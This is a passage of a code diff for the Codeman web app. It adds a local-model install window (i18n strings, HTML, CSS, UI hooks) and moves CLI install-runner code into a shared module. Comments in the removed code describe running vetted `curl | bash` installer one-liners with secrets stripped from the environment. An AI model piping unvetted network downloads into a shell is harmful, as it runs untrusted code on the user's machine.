(`error.next`, already adapted by the server to the state: `start` on an installed model, `retry` on a job) plus a quiet Remove; an error's text is split after its first sentence (`localModelSentences()`, which knows the ideographic full stop) and only that sentence is the headline. A refusal the server names (a 400, a full disk) carries `data.message` like a 409 and is printed from it, never from the English `error` text. ⚠️ Every dynamic string goes in through `textContent` (model, coding agent and chip names, an error's detail, session names, the folder and the install command are someone else's text); the window body, the button and the row carry `data-i18n-skip` and the module translates its own sentences at render time, so a language or display-name change repaints from the module (the `<html lang>` observer). ⚠️ Labels and sentences come from the payload (`{ text, vars }` through `localModelT`); the module holds no list of models or coding agents, compares no CLI id (the agent select's values are positions in the server's list, the id travels only as data into the install request and `selectCustomModelEntry`) and never contains the word "RecoLine truncated
+
 **Home-screen session order** (`CodemanSessionOrder` in constants.js, pure): BOTH home screens (phone overview, desktop rail) must order rows through this ONE comparator. Rank `needs` → `error` → `waiting` → `working` → `idle` → `done`. ⚠️ The tiebreak flips: states a session is still IN sort oldest-first, states it has STOPPED sort newest-first. ⚠️ The running group keys off `lastSubmitAt`, never `lastActivityAt` (a working pane repaints constantly). ⚠️ A 0 stamp means unknown and sorts last within its state. Final tiebreak is `orderIndex`, so the list never shuffles. The tab strip itself is NOT sorted by this. Test: `test/session-overview-order.test.ts`. → [architecture-invariants#home-screen-session-order](../../docs/architecture-invariants.md#home-screen-session-order)
 
 **Welcome "Resume Conversation" list** (terminal-ui.js): `loadHistorySessions()` fetches once and caches the corpus on `_historyAll`/`_historyCases`; every subsequent view (filter box, sort select, expand, the periodic refresh in panels-ui.js) goes through `_renderHistoryList()`, so never append rows to `#historyList` directly or re-fetch to re-sort. ⚠️ The box height is **class-driven**: expanding the list without `.history-list.expanded` leaves the collapsed `max-height` in place and just deepens a scroll well, which is the bug #260 reported (35 sessions in a ~4-row box). ⚠️ The A–Z sort keys off `_historyRowLabel()`, the SAME string the row renders (`name || firstPrompt || path`), most rows are transcript-backed and have no session name, so sorting on `name` alone silently does nothing. ⚠️ A filter implies expansion, and `_renderSearch()` hides `#historyHeader` (title + controls) as one unit while a search is active. Tests: `test/history-list-controls.test.ts`.

src/web/public/app.js

@@ -1468,6 +1468,12 @@ class CodemanApp {
           this.handleTabRailSearchKeydown(e);
           return;
         }
+        // The local model window can sit on top of App Settings (it opens from a
+        // row there): Escape closes the window alone and leaves Settings open.
+        if (this.isLocalModelWindowOpen?.()) {
+          this.closeLocalModelWindow();
+          return;
+        }
         this.closeAllPanels();
         this.closeHelp();
         if (this.attachmentHistoryDrawerOpen) this.closeAttachmentHistory();

src/web/public/i18n.js

@@ -1407,6 +1407,191 @@
       '该 tmux 会话在此处打开时所在的位置。它是在 Codeman 之外启动的，关闭此标签页后仍会继续运行。',
     'Git status is not available for a tmux session opened outside Codeman.':
       '在 Codeman 之外打开的 tmux 会话无法使用 Git 状态。',
+    // Run a model on this Mac (local-model-ui.js: the welcome button, the chooser window and its
+    // App Settings group). The first block is the page's and the module's own text; sizes and
+    // names fill the {placeholder} slots.
+    'Model on this Mac': '此 Mac 上的模型',
+    'Run a coding model on the Mac that Codeman runs on. No account and no API key.':
+      '在运行 {name} 的这台 Mac 上运行编程模型。无需账号，也无需 API 密钥。',
+    'Run a model on this Mac': '在此 Mac 上运行模型',
+    'Run a local model': '运行本地模型',
+    'Local model': '本地模型',
+    'The Mac that Codeman runs on, which is not always the device you are reading on.':
+      '指运行 {name} 的那台 Mac，不一定是你正在使用的这台设备。',
+    '{chip}, {memory} GB memory, {free} GB free': '{chip}，内存 {memory} GB，可用磁盘空间 {free} GB',
+    '{chip}, {memory} GB memory': '{chip}，内存 {memory} GB',
+    '{memory} GB memory, {free} GB free': '内存 {memory} GB，可用磁盘空间 {free} GB',
+    '{memory} GB memory': '内存 {memory} GB',
+    // The App Settings row: where the install stands, in a few words.
+    'No model installed': '尚未安装模型',
+    'Installing {model}': '正在安装 {model}',
+    'The install of {model} is paused': '{model} 的安装已暂停',
+    'The install of {model} stopped': '{model} 的安装已中止',
+    '{model} is running': '{model} 正在运行',
+    '{model} is installed and stopped': '{model} 已安装，当前已停止',
+    'Checking this Mac': '正在检查此 Mac',
+    // The chooser: the memory bar, the list, the coding agent.
+    'About {need} of {budget} GB of memory': '约需 {need} GB 内存，共 {budget} GB 可用',
+    estimated: '估算',
+    'The selected model needs {share}% of the memory this Mac can give a model':
+      '所选模型需要此 Mac 可分配给模型的内存的 {share}%',
+    'The model': '模型',
+    'Context, {context} tokens': '上下文，{context} 个 Token',
+    'Brief peaks': '短时峰值',
+    'Stays free': '剩余可用',
+    'Good fit': '宽裕',
+    'Tight fit': '偏紧',
+    'Models that fit this Mac': '此 Mac 装得下的模型',
+    Speed: '速度',
+    Download: '下载',
+    'speed not known': '速度未知',
+    '{speed} tokens/s': '{speed} Token/秒',
+    'about {speed} tokens/s': '约 {speed} Token/秒',
+    'Runs with': '搭配',
+    'Not on this Mac yet. Codeman installs it for you.': '此 Mac 上尚未安装，{name} 会为你一并安装。',
+    'The first answer can take minutes.': '第一次回答可能需要几分钟。',
+    'No account and no API key. The model runs only on this Mac.': '无需账号，也无需 API 密钥。模型只在此 Mac 上运行。',
+    'Install on this Mac': '安装到此 Mac',
+    // The confirm screen: the download as a table, where it goes.
+    'What will be downloaded': '将下载的内容',
+    'At {context} tokens of context, with {cli}': '上下文 {context} 个 Token，搭配 {cli}',
+    'Ollama {version}': 'Ollama {version}',
+    'The program that runs the model': '用于运行模型的程序',
+    Total: '合计',
+    'Not on this Mac yet. Its own installer fetches it with this command:':
+      '此 Mac 上尚未安装。它自带的安装程序会用以下命令获取它：',
+    'Not on this Mac yet. Its own installer fetches it.': '此 Mac 上尚未安装。它自带的安装程序会获取它。',
+    'Goes into': '存放位置：',
+    'No administrator password.': '无需管理员密码。',
+    'Download and install': '下载并安装',
+    // Progress, and the same picture paused.
+    '{done} of {total} GB': '已下载 {done} GB，共 {total} GB',
+    '{speed} MB per second, {left}': '每秒 {speed} MB，{left}',
+    '{speed} MB per second': '每秒 {speed} MB',
+    'less than a minute left': '剩余不到 1 分钟',
+    'about 1 minute left': '剩余约 1 分钟',
+    'about {minutes} minutes left': '剩余约 {minutes} 分钟',
+    'about 1 hour left': '剩余约 1 小时',
+    'about {hours} hours left': '剩余约 {hours} 小时',
+    'Getting the runtime': '获取运行时',
+    'Downloading the model': '下载模型',
+    'Loading and checking': '加载并检查',
+    'Installing {cli}': '安装 {cli}',
+    Connecting: '正在连接',
+    'Download of the model': '模型下载进度',
+    '0 of {total} GB': '已下载 0 GB，共 {total} GB',
+    'You can close this window. The download continues while Codeman is running.':
+      '你可以关闭此窗口。只要 {name} 在运行，下载就会继续。',
+    'You can close this window. The install continues while Codeman is running.':
+      '你可以关闭此窗口。只要 {name} 在运行，安装就会继续。',
+    'The download waits until you continue.': '下载会等你点击继续后再进行。',
+    'The install waits until you continue.': '安装会等你点击继续后再进行。',
+    Continue: '继续',
+    'Choose another model': '选择其他模型',
+    // After an error: the one action that helps.
+    'Use another port': '改用其他端口',
+    'Try {model}': '试试 {model}',
+    Start: '启动',
+    'The server did not accept that.': '服务器未接受该请求。',
+    // Installed, and the Remove question.
+    '{model} is ready on this Mac.': '{model} 已在此 Mac 上准备就绪。',
+    '{model} is installed on this Mac.': '{model} 已安装在此 Mac 上。',
+    'Runs with {cli}.': '搭配 {cli} 运行。',
+    'Context {context} tokens.': '上下文 {context} 个 Token。',
+    'Takes {memory} GB of memory now, and up to about {peak} GB at its peak, with all of the context in use.':
+      '目前占用 {memory} GB 内存；上下文全部用满时，峰值约为 {peak} GB。',
+    'Takes {memory} GB of memory now.': '目前占用 {memory} GB 内存。',
+    'All of it is on the GPU.': '全部位于 GPU 上。',
+    'Start a session': '开始会话',
+    'Remove the local model from this Mac?': '要从此 Mac 移除本地模型吗？',
+    'Also delete the downloaded model': '同时删除已下载的模型',
+    'The coding agent stays installed.': '编程智能体会保留，不会被卸载。',
+    // The sentences and labels the SERVER picks (LOCAL_MODEL_LABELS in src/types/local-model.ts), keyed
+    // by their exact English text: changing a text there means changing its key here.
+    'Best fit for this Mac': '最适合此 Mac 的选择',
+    'Recommended for this Mac': '为此 Mac 推荐',
+    'This Mac can run a small model. It handles small edits and questions. It does not replace a cloud model.':
+      '此 Mac 可以运行小型模型。它能处理小幅修改和问答，但不能替代云端模型。',
+    'Codeman has not run this on a Mac like this yet.': '{name} 尚未在同类 Mac 上运行过它。',
+    'The best fit is a small model. It handles small edits and questions. It does not replace a cloud model.':
+      '最适合的是一个小型模型。它能处理小幅修改和问答，但不能替代云端模型。',
+    '{model} fits the memory of this Mac too, but its download needs about {missing} GB more free disk space.':
+      '{model} 也能装入此 Mac 的内存，但下载它还需要再腾出约 {missing} GB 的可用磁盘空间。',
+    Good: '良好',
+    Tight: '偏紧',
+    Slow: '较慢',
+    'Speed unknown': '速度未知',
+    'Codeman recommends a local model only on a Mac with Apple silicon.':
+      '{name} 仅在搭载 Apple 芯片的 Mac 上推荐本地模型。',
+    'Local coding models need Apple silicon, and this Mac has an Intel processor.':
+      '本地编程模型需要 Apple 芯片，而此 Mac 使用的是 Intel 处理器。',
+    'With {memory} GB of memory, this Mac cannot run a model that can drive a coding agent.':
+      '此 Mac 只有 {memory} GB 内存，无法运行能够驱动编程智能体的模型。',
+    'This Mac can give a model about {budget} GB of memory, and the smallest model a coding agent can work with needs about {need} GB.':
+      '此 Mac 可分配给模型的内存约为 {budget} GB，而编程智能体能够使用的最小模型约需 {need} GB。',
+    'Codeman could not read how much memory this Mac has, so it recommends no model here.':
+      '{name} 无法读取此 Mac 的内存大小，因此在此不推荐任何模型。',
+    'Free up about {missing} GB of disk space to install the smallest model that fits this Mac.':
+      '请腾出约 {missing} GB 磁盘空间，以便安装适合此 Mac 的最小模型。',
+    'Local models need macOS {minimum} or newer, and this Mac runs macOS {version}.':
+      '本地模型需要 macOS {minimum} 或更高版本，而此 Mac 运行的是 macOS {version}。',
+    'No coding agent that Codeman can connect to a local model is available on this Mac.':
+      '此 Mac 上没有 {name} 可以连接到本地模型的编程智能体。',
+    // The tag of a model row (LOCAL_MODEL_TAG_LABELS in src/types/local-model.ts). Tight and Slow are
+    // the entries above.
+    'Tested on a Mac like this': '已在同类 Mac 上测试',
+    'Best fit': '最适合',
+    'Best fit, tight': '最适合，内存偏紧',
+    'Small model': '小型模型',
+    // The sentences of the install (LOCAL_MODEL_INSTALL_LABELS in src/types/local-model-install.ts):
+    // why a job stopped, why a request was refused, and the one sentence about the developer tools.
+    'The download of the runtime stopped and could not be continued. Check the network connection, then try again.':
+      '运行时的下载已中断，且无法继续。请检查网络连接，然后重试。',
+    'The runtime download was damaged and has been deleted. Try again.': '下载的运行时已损坏，已被删除。请重试。',
+    'The runtime could not be unpacked on this Mac.': '无法在此 Mac 上解压运行时。',
+    'The runtime did not start on this Mac.': '运行时未能在此 Mac 上启动。',
+    'The runtime keeps stopping, so Codeman no longer restarts it.': '运行时反复停止，因此 {name} 不再重新启动它。',
+    'The model on this Mac is not running. Start it first.': '此 Mac 上的模型没有在运行。请先启动它。',
+    'Port {port} is in use by another program.': '端口 {port} 已被其他程序占用。',
+    'The disk is full. Free up space, then try again.': '磁盘已满。请腾出空间，然后重试。',
+    'The download keeps stopping. The network may be damaging data. Try again or use another network.':
+      '下载反复中断。网络可能正在损坏数据。请重试，或换一个网络。',
+    '{model} is no longer offered under this name. Update Codeman or pick another model.':
+      '{model} 已不再以此名称提供。请更新 {name}，或选择其他模型。',
+    '{model} does not fit in the memory of this Mac after all.': '{model} 终究装不进此 Mac 的内存。',
+    '{model} loaded with a context of {actual} tokens instead of {wanted}.':
+      '{model} 加载时的上下文为 {actual} 个 Token，而不是 {wanted} 个。',
+    '{model} did not load on this Mac.': '{model} 未能在此 Mac 上加载。',
+    '{model} loaded but did not call a tool, so a coding agent cannot work with it.':
+      '{model} 已加载，但没有调用工具，因此编程智能体无法使用它。',
+    'The check of {model} did not finish.': '对 {model} 的检查没有完成。',
+    '{cli} could not be installed.': '无法安装 {cli}。',
+    'A saved model connection named {id} already exists and was not created here. Rename or delete it in App Settings, then try again.':
+      '已存在名为 {id} 的已保存模型连接，而它不是在这里创建的。请在“应用设置”中重命名或删除它，然后重试。',
+    'Codeman could not save the connection to the model.': '{name} 无法保存与模型的连接。',
+    'The model on this Mac changed since it was installed. Remove it and install it again.':
+      '此 Mac 上的模型在安装后发生了变化。请移除后重新安装。',
+    'The install stopped on an unexpected error.': '安装因意外错误而中止。',
+    'An install is already running.': '已有一个安装正在进行。',
+    'A model is already installed on this Mac. Remove it first.': '此 Mac 上已安装了一个模型。请先移除它。',
+    'The download is {size} GB now. Check the sizes and confirm again.':
+      '现在的下载大小为 {size} GB。请核对大小后再次确认。',
+    'Sessions are still using this model: {sessions}. Close them first.':
+      '仍有会话在使用此模型：{sessions}。请先关闭它们。',
+    'That is not possible in the current state.': '当前状态下无法执行此操作。',
+    'This model at this context is not offered for this Mac right now.':
+      '目前不为此 Mac 提供这一上下文大小下的该模型。',
+    'This coding agent is not offered for this model.': '该模型不提供这个编程智能体。',
+    '{cli} is not installed and cannot be installed from here.': '{cli} 尚未安装，也无法从这里安装。',
+    'Only {model} is installed on this Mac. Remove it and install another model first.':
+      '此 Mac 上只安装了 {model}。请先移除它，再安装其他模型。',
+    // What the endpoint routes answer for the record of the model on this Mac (shown as a toast).
+    'This endpoint belongs to the model Codeman runs on this Mac. Change or remove it in the local model window.':
+      '此端点属于 {name} 在此 Mac 上运行的模型。请在本地模型窗口中更改或移除它。',
+    'This endpoint id is reserved for the model Codeman runs on this Mac. Pick another id.':
+      '此端点标识已保留给 {name} 在此 Mac 上运行的模型。请换一个标识。',
+    'Coding agents use git and Python. This Mac has no developer tools yet, so macOS will offer to install them the first time an agent needs one.':
+      '编程智能体会用到 git 和 Python。此 Mac 尚未安装开发者工具，因此在智能体首次需要时，macOS 会提示安装。',
   });
 
   const ZH_CN_LOWER = new Map(Object.entries(ZH_CN).map(([key, value]) => [key.toLocaleLowerCase('en'), value]));

src/web/public/index.html

@@ -510,6 +510,17 @@
                it sits under them as a quiet link; settings-ui.js rewrites its
                contents on every state change and owns its inline display. -->
           <div class="welcome-actions">
+            <!-- A model that runs on the Mac the server runs on (local-model-ui.js).
+                 The first thing on the start screen, above the launchers, in the size of
+                 the primary button. A sibling of the launcher slot and never inside it (renderWelcomeCliActions empties that slot on every
+                 state change). Ships `hidden`: only that module reveals it, once the
+                 server has answered for a Mac. It opens the chooser window
+                 (#localModelModal) and the module writes its label through its own
+                 translator call, hence data-i18n-skip. -->
+            <button type="button" class="welcome-chip welcome-local-model" id="welcomeLocalModelBtn" data-i18n-skip hidden onclick="app.openLocalModelWindow()">
+              <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.9" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><rect x="6" y="6" width="12" height="12" rx="2"/><path d="M9.5 2.5v3.5M14.5 2.5v3.5M9.5 18v3.5M14.5 18v3.5M2.5 9.5H6M2.5 14.5H6M18 9.5h3.5M18 14.5h3.5"/></svg>
+              <span class="welcome-label" id="welcomeLocalModelLabel">Run a local model</span>
+            </button>
             <div class="welcome-cli-actions" id="welcomeCliActions"></div>
             <button type="button" class="welcome-tunnel-link" id="welcomeTunnelBtn" style="display: none;" onclick="app.toggleTunnelFromWelcome()">
               <svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M12 2L2 7l10 5 10-5-10-5z"/><path d="M2 17l10 5 10-5"/><path d="M2 12l10 5 10-5"/></svg>
@@ -2867,6 +2878,28 @@
                   </div>
                 </div>
               </div>
+
+              <!-- The model that runs on the Mac the server runs on (local-model-ui.js). One row:
+                   the state in a few words, written by the module from GET /api/local-model
+                   through its own translator call (hence data-i18n-skip on the text and on the
+                   button), and a button that opens the chooser window (#localModelModal), where
+                   everything happens. The module shows the group only once the server has
+                   answered for a Mac: it hides it for a server on another system (the title
+                   and hint are about "this Mac"), while the first request is in flight, and
+                   for a non-admin in multi-user mode (the routes are admin-only). Not gated on
+                   the endpoints toggle above: an install switches that on itself. -->
+              <div class="set-group" id="localModelGroup">
+                <div class="set-group-head"><h4>Model on this Mac</h4></div>
+                <p class="set-group-hint">Run a coding model on the Mac that Codeman runs on. No account and no API key.</p>
+                <div class="set-group-body">
+                  <div class="set-row" data-search="local model mac apple silicon memory llm offline install download ollama">
+                    <div class="set-row-text" id="localModelSettings" data-i18n-skip aria-live="polite"></div>
+                    <div class="set-row-actions">
+                      <button type="button" class="btn-toolbar btn-sm" id="localModelSettingsOpen" data-i18n-skip onclick="app.openLocalModelWindow()">Open</button>
+                    </div>
+                  </div>
+                </div>
+              </div>
             </section>
 
             <!-- ══ Agents &amp; CLIs ═════════════════════════════════════════ -->
@@ -3645,6 +3678,27 @@
       </div>
     </div>
 
+    <!-- The local model window (local-model-ui.js): choose a model, confirm the sizes,
+         watch the download, start a session. Opened by the welcome button and by the
+         row in App Settings > Models; placed AFTER #appSettingsModal so it stacks above
+         it when opened from there. The module fills the body from GET /api/local-model
+         through its own translator call (model, agent and chip names are someone
+         else's text), hence data-i18n-skip on the body; the title and the close button
+         are static and go through the page translator. -->
+    <div class="modal" id="localModelModal" role="dialog" aria-modal="true" aria-labelledby="localModelModalTitle">
+      <div class="modal-backdrop" onclick="app.closeLocalModelWindow()"></div>
+      <div class="modal-content local-model-window">
+        <div class="modal-header">
+          <h3 id="localModelModalTitle">Run a model on this Mac</h3>
+          <button class="modal-close" onclick="app.closeLocalModelWindow()" aria-label="Close">&times;</button>
+        </div>
+        <div class="modal-body lm-body" id="localModelWindowBody" data-i18n-skip></div>
+        <!-- The buttons of the current screen. Outside the body, so they keep their
+             place while the body changes and scrolls. -->
+        <div class="lm-foot-slot" id="localModelWindowFoot" data-i18n-skip></div>
+      </div>
+    </div>
+
     <!-- Shortcut Overlay Modal -->
     <div class="modal shortcut-overlay-modal" id="shortcutOverlayModal" tabindex="-1">
       <div class="modal-backdrop" onclick="app.closeShortcutOverlay()"></div>
@@ -4685,6 +4739,7 @@
   <script defer src="foreign-sessions.js"></script>
   <script defer src="git-status-ui.js"></script>
   <script defer src="edit-history-ui.js"></script>
+  <script defer src="local-model-ui.js"></script>
   <script defer src="entrance-animations.js"></script>
   <script defer src="ralph-wizard.js"></script>
   <script defer src="api-client.js"></script>

src/web/public/mobile.css

@@ -1857,6 +1857,41 @@ html.mobile-init .file-browser-panel {
     margin-top: 0.75rem;
   }
 
+  /* Run a model on this Mac (local-model-ui.js). The welcome button is only
+     reached with the phone overview switched off; it takes the chips' finger
+     size from `.welcome-chip` above. The window is full-screen like every
+     modal here: its own width rule in styles.css is more specific than the
+     full-screen `.modal-content` rule above, so the size is restated. */
+  .modal-content.local-model-window {
+    width: 100%;
+    max-width: 100%;
+    height: 100%;
+    max-height: 100%;
+  }
+
+  .local-model-window > .lm-body {
+    padding: 1rem;
+  }
+
+  /* The window fills the screen, so its actions sit at the bottom, under the thumb. */
+  .local-model-window > .lm-foot-slot {
+    padding: 0 1rem calc(1rem + var(--safe-area-bottom));
+  }
+
+  /* The short screens (progress, paused, a failure, installed, nothing fits)
+     hold a few lines. On a screen this tall they sit right above the buttons,
+     where the eye and the thumb already are, not at the top with half a
+     screen of nothing between the two. */
+  .local-model-window > .lm-body:is(
+      [data-screen='progress'],
+      [data-screen='paused'],
+      [data-screen='failed'],
+      [data-screen='installed'],
+      [data-screen='none']
+    ) {
+    justify-content: flex-end;
+  }
+
   /* Ralph wizard responsive */
   .modal-wizard {
     display: flex;
@@ -4261,3 +4296,68 @@ html[data-session-list="sidebar"] .session-sidebar .session-tab .tab-close {
     touch-action: pan-x pan-y;
   }
 }
+
+/* Run a model on this Mac (local-model-ui.js), under 560px: each model row
+   becomes two lines (name and tag, then speed and download size), the bar
+   stays full width and the buttons go full width under the foot's sentence. */
+@media (max-width: 559px) {
+  .lm-list {
+    grid-template-columns: auto minmax(0, 1fr) auto;
+    column-gap: 0.7rem;
+  }
+
+  .lm-caption-speed,
+  .lm-caption-size {
+    display: none;
+  }
+
+  .lm-model {
+    row-gap: 0.1rem;
+    padding-top: 0.5rem;
+    padding-bottom: 0.5rem;
+  }
+
+  .lm-radio {
+    grid-row: 1;
+    grid-column: 1;
+  }
+
+  .lm-model-name {
+    grid-row: 1;
+    grid-column: 2;
+  }
+
+  .lm-model-tag {
+    grid-row: 1;
+    grid-column: 3;
+    justify-content: flex-end;
+  }
+
+  .lm-model-speed {
+    grid-row: 2;
+    grid-column: 2;
+    text-align: start;
+  }
+
+  .lm-model-size {
+    grid-row: 2;
+    grid-column: 3;
+  }
+
+  .lm-foot {
+    flex-direction: column;
+    align-items: stretch;
+    gap: 0.8rem;
+  }
+
+  /* The main action on top, the way back under it. */
+  .lm-buttons {
+    flex-direction: column-reverse;
+    margin-inline-start: 0;
+  }
+
+  .local-model-window .wt-btn.lm-btn {
+    min-height: 44px;
+    font-size: 0.88rem;
+  }
+}

src/web/public/reboot-restore-ui.js

@@ -40,6 +40,8 @@ function rebootSkipReason(reason) {
       return 'already open';
     case 'capacity-reached':
       return 'session limit reached';
+    case 'local-model-not-ready':
+      return 'the local model is not ready';
     case 'rebuild-failed':
       return 'the agent would not start';
     default:

src/web/public/settings-ui.js

@@ -550,6 +550,10 @@ Object.assign(CodemanApp.prototype, {
     // Assigning .checked above does not fire onchange, so the body's visibility
     // (and its lazy load) needs an explicit sync on every open, not just a save.
     this.applyCustomModelEndpointsVisibility();
+    // Model on this Mac (local-model-ui.js): a row that says where the local model stands and
+    // opens its window, not a setting. Server state, asked for at most once a minute; nothing
+    // here is loaded or saved by id.
+    this.loadLocalModel?.();
     // CLI management (docs/cli-enable-disable-plan.md): synced, default OFF.
     document.getElementById('appSettingsCliManagement').checked = settings.cliManagementEnabled === true;
     // Same reasoning as applyCustomModelEndpointsVisibility above: assigning

src/web/public/terminal-ui.js

@@ -2964,6 +2964,10 @@ Object.assign(CodemanApp.prototype, {
       // up (stopped in hideWelcome), see foreign-sessions.js.
       this.wireForeignSessions?.();
       this.startForeignPolling?.();
+      // The "Run a local model" button (local-model-ui.js). One request, at most
+      // once a minute, no timer here: only its open window polls, and closing
+      // that window stops it, so there is nothing to stop in hideWelcome.
+      this.loadLocalModel?.();
     }
     // Home screen has no input target — hide the CJK textarea (activeSessionId
     // is null by the time we get here). Guarded: defined on the app object.

src/web/routes/cli-registry-routes.ts

@@ -29,13 +29,8 @@
  * write path (`registry-writer.ts` mirrors `custom-model-hosts.ts`).
  */
 
-import { execFile, spawn } from 'node:child_process';
-import { constants as fsConstants } from 'node:fs';
-import { access } from 'node:fs/promises';
-import { dirname, join } from 'node:path';
-import { promisify } from 'node:util';
 import type { FastifyInstance, FastifyRequest } from 'fastify';
-import { ApiErrorCode, createErrorResponse, getErrorMessage, type ApiResponse } from '../../types.js';
+import { ApiErrorCode, createErrorResponse, type ApiResponse } from '../../types.js';
 import { getAuthUser, isAdmin, parseBody, readJsonConfig, SETTINGS_PATH } from '../route-helpers.js';
 import { isMultiUserMode } from '../../config/multiuser.js';
 import { listClis, resolveInstallCommandForPlatform } from '../../config/cli-registry/registry.js';
@@ -45,9 +40,18 @@ import { STOCK_CLIS } from '../../config/cli-registry/stock.js';
 import type { CliEntry } from '../../config/cli-registry/types.js';
 import { CliCustomEntrySchema, CliEnableSchema } from '../schemas.js';
 import { appendAdminAudit } from '../admin-audit.js';
-import { invalidateCliExecutableResolvers } from '../../utils/cli-executable-resolver.js';
-import { invalidateCliResolverCache } from '../../utils/cli-resolver.js';
 import { isCliEntryInstalled, probeStockCliAvailability } from '../../utils/cli-installed-probes.js';
+import {
+  CLI_INSTALL_TIMEOUT_MS,
+  forgetResolvedCli,
+  runInstallCommand,
+  tryBeginCliInstall,
+  type CliInstallResult,
+} from '../../cli-install-runner.js';
+
+// The install runner lives in src/cli-install-runner.ts, shared with the local model install
+// job. These two stay importable from here, where the route's tests take them from.
+export { installEnv, npmGlobalPrefixWritable } from '../../cli-install-runner.js';
 
 /**
  * `cliManagementEnabled` defaults OFF, same reasoning as
@@ -78,17 +82,6 @@ export interface CliListItem {
   installCommand?: string;
 }
 
-/**
- * Forget every cached binary lookup for this CLI — the generic per-id resolver (which
- * captures the entry's binaries when first built) and every underlying per-binary cache,
- * success and negative-cache backoff alike. Called after anything that changes what is on
- * disk or what the CLI's binary IS; see `invalidateCliExecutableResolvers`.
- */
-function forgetResolvedCli(id: string, binaries: readonly string[]): void {
-  invalidateCliExecutableResolvers(binaries);
-  invalidateCliResolverCache(id);
-}
-
 const STOCK_IDS = new Set(STOCK_CLIS.map((e) => e.id as string));
 
 /**
@@ -202,195 +195,6 @@ function nextOrder(): number {
   return (orders.length ? Math.max(...orders) : 0) + 10;
 }
 
-/** Bounded execution: `PATH_INSTALL_TIMEOUT_MS`, output capped, process GROUP killed on timeout. */
-const CLI_INSTALL_TIMEOUT_MS = 300_000;
-
-/**
- * Ids with an install running right now. A second request for the same id gets 409 rather
- * than a second `curl | bash` or `npm install -g` racing the first over the same prefix.
- */
-const installsInFlight = new Set<string>();
-
-const execFileAsync = promisify(execFile);
-
-/**
- * True when `npm install -g` can write to this process's npm global prefix, or when that cannot
- * be determined (then nothing is redirected: a wrong guess would move installs somewhere the
- * user did not choose). `npm config get prefix` is asked rather than guessed from `process.execPath`
- * because a user `.npmrc` / `NPM_CONFIG_PREFIX` can point it anywhere.
- *
- * Async so the server keeps serving while npm boots (130 to 240 ms), and killed with SIGKILL on
- * timeout because `SIGTERM` alone leaves the wait running. A prefix that does not exist yet is
- * judged by the nearest ancestor that does: npm creates the missing directories, so a user
- * `.npmrc` pointing at `~/.npm-global` before it was made is not moved.
- */
-export async function npmGlobalPrefixWritable(source: NodeJS.ProcessEnv): Promise<boolean> {
-  try {
-    const { stdout } = await execFileAsync('npm', ['config', 'get', 'prefix'], {
-      env: source,
-      encoding: 'utf8',
-      timeout: 5_000,
-      killSignal: 'SIGKILL',
-    });
-    const prefix = stdout.trim();
-    if (!prefix) return true;
-    // npm creates lib/node_modules under the prefix; walk up to the first directory that exists.
-    let dir = join(prefix, 'lib', 'node_modules');
-    for (;;) {
-      try {
-        await access(dir, fsConstants.W_OK);
-        return true;
-      } catch (err) {
-        if ((err as NodeJS.ErrnoException).code !== 'ENOENT') return false;
-        const parent = dirname(dir);
-        if (parent === dir) return false;
-        dir = parent;
-      }
-    }
-  } catch {
-    return true;
-  }
-}
-
-/**
- * The server's environment minus every `CODEMAN_*` variable. An install script is third-party
- * code, and those variables carry Codeman's own secrets and wiring (`CODEMAN_PASSWORD`, the
- * data dir, the tmux socket), none of which an installer needs.
- *
- * It also points `NPM_CONFIG_PREFIX` at `$HOME/.local` so an `npm install -g` lands somewhere the
- * server user can write and Codeman's resolvers already search (`~/.local/bin`):
- *  - inside the Docker Compose container (`CODEMAN_IN_CONTAINER=1`), so installs survive an image
- *    update (the image's own prefix is image content);
- *  - on a native install whose npm global prefix is not writable by the server user (a system node
- *    under `/usr`, installed by root). Without this `npm install -g` died with EACCES (exit 243),
- *    e.g. DeepSeek's `npm install -g @deepseek-ai/dsh`. An explicit `NPM_CONFIG_PREFIX` the
- *    operator set is respected, and so is a prefix that is writable (nvm, `~/.npm-global`, ...).
- */
-export function installEnv(
-  source: NodeJS.ProcessEnv = process.env,
-  prefixWritable: (env: NodeJS.ProcessEnv) => boolean = () => true
-): NodeJS.ProcessEnv {
-  const env: NodeJS.ProcessEnv = {};
-  for (const [key, value] of Object.entries(source)) {
-    if (!key.startsWith('CODEMAN_')) env[key] = value;
-  }
-  // ⚠️ In the Docker Compose deployment the image sets NPM_CONFIG_PREFIX=/opt/codeman-cli, which is IMAGE
-  // content: `Update-Codeman.sh` recreates the container and every CLI installed there (dsh, pi, ...)
-  // vanishes. HOME is the persistent bind mount and `~/.local/bin` is already on every resolver's search
-  // list, so npm-based installs are redirected there. curl|bash installers already target HOME.
-  if (source.CODEMAN_IN_CONTAINER === '1' && source.HOME) {
-    redirectNpmPrefix(env, source.HOME);
-  } else if (process.platform !== 'win32' && source.HOME && !source.NPM_CONFIG_PREFIX && !prefixWritable(env)) {
-    redirectNpmPrefix(env, source.HOME);
-  }
-  return env;
-}
-
-/**
- * Point npm at `$HOME/.local`, dropping every spelling of the prefix key first. `npm run` exports a
- * lowercase `npm_config_prefix`, npm reads `npm_config_*` case-insensitively, and when both spellings
- * are present a `/bin/sh` that sorts its environment (bash) lets the older value win. The explicit
- * operator guard in `installEnv` stays on the uppercase key only: npm always injects the lowercase one.
- */
-function redirectNpmPrefix(env: NodeJS.ProcessEnv, home: string): void {
-  for (const key of Object.keys(env)) if (/^npm_config_prefix$/i.test(key)) delete env[key];
-  env.NPM_CONFIG_PREFIX = `${home}/.local`;
-}
-
-/**
- * `installEnv` for this process, with the (async) npm prefix probe done first and only when the
- * command runs npm at all: a `curl | bash` installer never pays for it.
- */
-async function installEnvFor(command: string, source: NodeJS.ProcessEnv = process.env): Promise<NodeJS.ProcessEnv> {
-  const usesNpm = /\bnpm\b/.test(command);
-  const probeNeeded =
-    usesNpm &&
-    source.CODEMAN_IN_CONTAINER !== '1' &&
-    process.platform !== 'win32' &&
-    !!source.HOME &&
-    !source.NPM_CONFIG_PREFIX;
-  const writable = probeNeeded ? await npmGlobalPrefixWritable(installEnv(source)) : true;
-  return installEnv(source, () => writable);
-}
-
-interface InstallResult {
-  code: number | null;
-  output: string;
-  timedOut: boolean;
-}
-
-/**
- * Runs a STOCK entry's already-vetted install command. `shell: true` is unavoidable here —
- * the shipped commands are genuinely `curl | bash` / `npm install -g` one-liners — but this
- * is NOT a reopening of the config-shell-text concern the registry's `shellToken` pattern
